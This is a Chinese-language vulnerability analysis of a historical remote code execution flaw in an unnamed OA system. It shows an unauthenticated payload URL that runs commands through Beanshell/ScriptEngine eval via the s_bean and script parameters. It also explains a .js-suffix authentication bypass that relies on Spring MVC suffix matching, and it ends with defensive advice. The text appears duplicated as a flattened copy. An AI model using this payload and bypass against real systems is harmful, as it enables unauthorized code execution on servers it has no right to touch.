某OA 历史RCE分析
字数 1865 2025-08-06 08:34:49

某OA系统历史RCE漏洞分析与利用教学文档

漏洞概述

该文档详细分析某OA系统中存在的远程代码执行(RCE)漏洞,涉及两个关键类SysFormulaValidateSysFormulaSimulateByJS的实现问题,以及通过.js后缀绕过权限检查的机制。

漏洞位置

漏洞存在于路由:

/data/sys-common/datajson.js

/data/sys-common/datajson

漏洞利用Payload

基本利用格式:

/data/sys-common/datajson.js?s_bean=sysFormulaValidate&script=Runtime.getRuntime().exec("whoami");

漏洞分析

1. 路由处理分析

漏洞路由对应的处理类为:

com/xxx/kmss/common/actions/DataController.class

关键处理逻辑:

String s_bean = request.getParameter("s_bean");
JSONArray array = new JSONArray();
JSONArray jsonArray = null;
try {
    Assert.notNull(s_bean, "参数s_bean不能为空!");
    RequestContext requestInfo = new RequestContext(request, true);
    String[] beanList = s_bean.split(";");
    List result = null;
    for (int i = 0; i < beanList.length; ++i) {
        IXMLDataBean treeBean = (IXMLDataBean)SpringBeanUtil.getBean(beanList[i]);
        result = treeBean.getDataList(requestInfo);

处理流程:

  1. 从请求中获取s_bean参数
  2. 使用分号;分割s_bean
  3. 通过SpringBeanUtil.getBean获取IXMLDataBean类型的bean对象
  4. 调用bean对象的getDataList方法

2. IXMLDataBean接口

接口定义:

public interface IXMLDataBean {
    List getDataList(RequestContext var1) throws Exception;
}

系统中有约400个该接口的实现类。

3. SysFormulaValidate类分析

s_bean值为sysFormulaValidate时对应的实现类。

关键方法getDataList

  1. 获取请求参数中的script
  2. 创建FormulaParser对象
  3. 调用parseValueScript处理script参数

4. FormulaParser类分析

parseValueScript方法实现:

  1. 创建Interpreter对象(来自Beanshell库)
  2. 处理script参数:
    • 对script进行trim()
    • 尝试提取$符号(POC中没有$符号,跳过相关判断)
  3. 拼接执行语句:
    final String m_script = importPart.toString() + preparePart.toString() + leftScript + rightScript;
    
    • 由于没有$符号,preparePartleftScript为空
    • rightScript就是请求参数中的script
  4. 执行代码:
    value = SecurityController.doPrivileged(new PrivilegedAction<Object>() {
        public Object run() {
            try {
                return interpreter.eval(m_script);
            } catch (EvalError var2) {
                FormulaParser.logger.warn("执行公式出错:" + m_script, var2);
                throw new EvalException(var2);
            }
        }
    });
    
    通过interpreter.eval执行拼接后的脚本,导致任意代码执行。

5. SysFormulaSimulateByJS类分析

另一个存在问题的实现类,与SysFormulaValidate的区别:

  • 调用FormulaParserByJSparseValueScript方法
  • 使用ScriptEngineeval方法执行JavaScript代码
  • 同样可导致任意代码执行

权限绕过机制

1. .js后缀的作用

POC中使用.js后缀绕过权限检查:

  • 去掉.js后缀时无法未授权访问
  • .js后缀使请求被识别为静态文件

2. Spring MVC后缀匹配机制

原因:Spring MVC版本<5.3时,useSuffixPatternMatch参数默认为true

当开启后缀匹配模式时:

  • /users会被映射到/users.*
  • 具体处理在PatternRequestCondition#getMatchingPattern

处理流程:

  1. 判断模式与路径是否相等
  2. 不相等时检查useSuffixPatternMatch是否为true
  3. 在Spring MVC 3.x.x版本中默认为true
  4. 检查模式中是否包含.(ASCII码46)
  5. 如果模式不包含.pattern+".*"匹配lookupPath,则返回pattern+".*"

结果:

  • /admin.aaa成功匹配到/admin
  • 利用静态文件后缀绕过权限检查

3. 系统Filter配置

web.xml中配置的全局filter,通过sys\authentication\spring.xml配置文件检查静态资源:

  • 通过文件后缀判断是否为静态资源
  • Spring MVC版本为3.x.x
  • 允许使用.js.tmpl等后缀绕过权限检查

漏洞利用总结

  1. 两种利用方式:

    • 通过sysFormulaValidate执行Java代码
    • 通过sysFormulaSimulateByJS执行JavaScript代码
  2. 权限绕过方法:

    • 添加静态文件后缀(如.js
    • 利用Spring MVC后缀匹配机制
  3. 影响版本:

    • 使用Spring MVC 3.x.x的系统
    • 配置了基于后缀的静态资源过滤

防御建议

  1. 升级Spring MVC到5.3+版本(useSuffixPatternMatch默认为false
  2. 严格校验s_bean参数,限制可用的bean名称
  3. script参数内容进行严格过滤
  4. 修改权限检查机制,不依赖文件后缀判断
  5. 禁用或限制Beanshell和ScriptEngine的代码执行能力
某OA系统历史RCE漏洞分析与利用教学文档 漏洞概述 该文档详细分析某OA系统中存在的远程代码执行(RCE)漏洞,涉及两个关键类 SysFormulaValidate 和 SysFormulaSimulateByJS 的实现问题,以及通过 .js 后缀绕过权限检查的机制。 漏洞位置 漏洞存在于路由: 或 漏洞利用Payload 基本利用格式: 漏洞分析 1. 路由处理分析 漏洞路由对应的处理类为: 关键处理逻辑: 处理流程: 从请求中获取 s_bean 参数 使用分号 ; 分割 s_bean 值 通过 SpringBeanUtil.getBean 获取 IXMLDataBean 类型的bean对象 调用bean对象的 getDataList 方法 2. IXMLDataBean接口 接口定义: 系统中有约400个该接口的实现类。 3. SysFormulaValidate类分析 s_bean 值为 sysFormulaValidate 时对应的实现类。 关键方法 getDataList : 获取请求参数中的 script 值 创建 FormulaParser 对象 调用 parseValueScript 处理 script 参数 4. FormulaParser类分析 parseValueScript 方法实现: 创建 Interpreter 对象(来自Beanshell库) 处理script参数: 对script进行trim() 尝试提取 $ 符号(POC中没有 $ 符号,跳过相关判断) 拼接执行语句: 由于没有 $ 符号, preparePart 和 leftScript 为空 rightScript 就是请求参数中的 script 值 执行代码: 通过 interpreter.eval 执行拼接后的脚本,导致任意代码执行。 5. SysFormulaSimulateByJS类分析 另一个存在问题的实现类,与 SysFormulaValidate 的区别: 调用 FormulaParserByJS 的 parseValueScript 方法 使用 ScriptEngine 的 eval 方法执行JavaScript代码 同样可导致任意代码执行 权限绕过机制 1. .js后缀的作用 POC中使用 .js 后缀绕过权限检查: 去掉 .js 后缀时无法未授权访问 .js 后缀使请求被识别为静态文件 2. Spring MVC后缀匹配机制 原因:Spring MVC版本<5.3时, useSuffixPatternMatch 参数默认为 true 。 当开启后缀匹配模式时: /users 会被映射到 /users.* 具体处理在 PatternRequestCondition#getMatchingPattern 中 处理流程: 判断模式与路径是否相等 不相等时检查 useSuffixPatternMatch 是否为 true 在Spring MVC 3.x.x版本中默认为 true 检查模式中是否包含 . (ASCII码46) 如果模式不包含 . 且 pattern+".*" 匹配 lookupPath ,则返回 pattern+".*" 结果: /admin.aaa 成功匹配到 /admin 利用静态文件后缀绕过权限检查 3. 系统Filter配置 在 web.xml 中配置的全局filter,通过 sys\authentication\spring.xml 配置文件检查静态资源: 通过文件后缀判断是否为静态资源 Spring MVC版本为3.x.x 允许使用 .js 、 .tmpl 等后缀绕过权限检查 漏洞利用总结 两种利用方式: 通过 sysFormulaValidate 执行Java代码 通过 sysFormulaSimulateByJS 执行JavaScript代码 权限绕过方法: 添加静态文件后缀(如 .js ) 利用Spring MVC后缀匹配机制 影响版本: 使用Spring MVC 3.x.x的系统 配置了基于后缀的静态资源过滤 防御建议 升级Spring MVC到5.3+版本( useSuffixPatternMatch 默认为 false ) 严格校验 s_bean 参数,限制可用的bean名称 对 script 参数内容进行严格过滤 修改权限检查机制,不依赖文件后缀判断 禁用或限制Beanshell和ScriptEngine的代码执行能力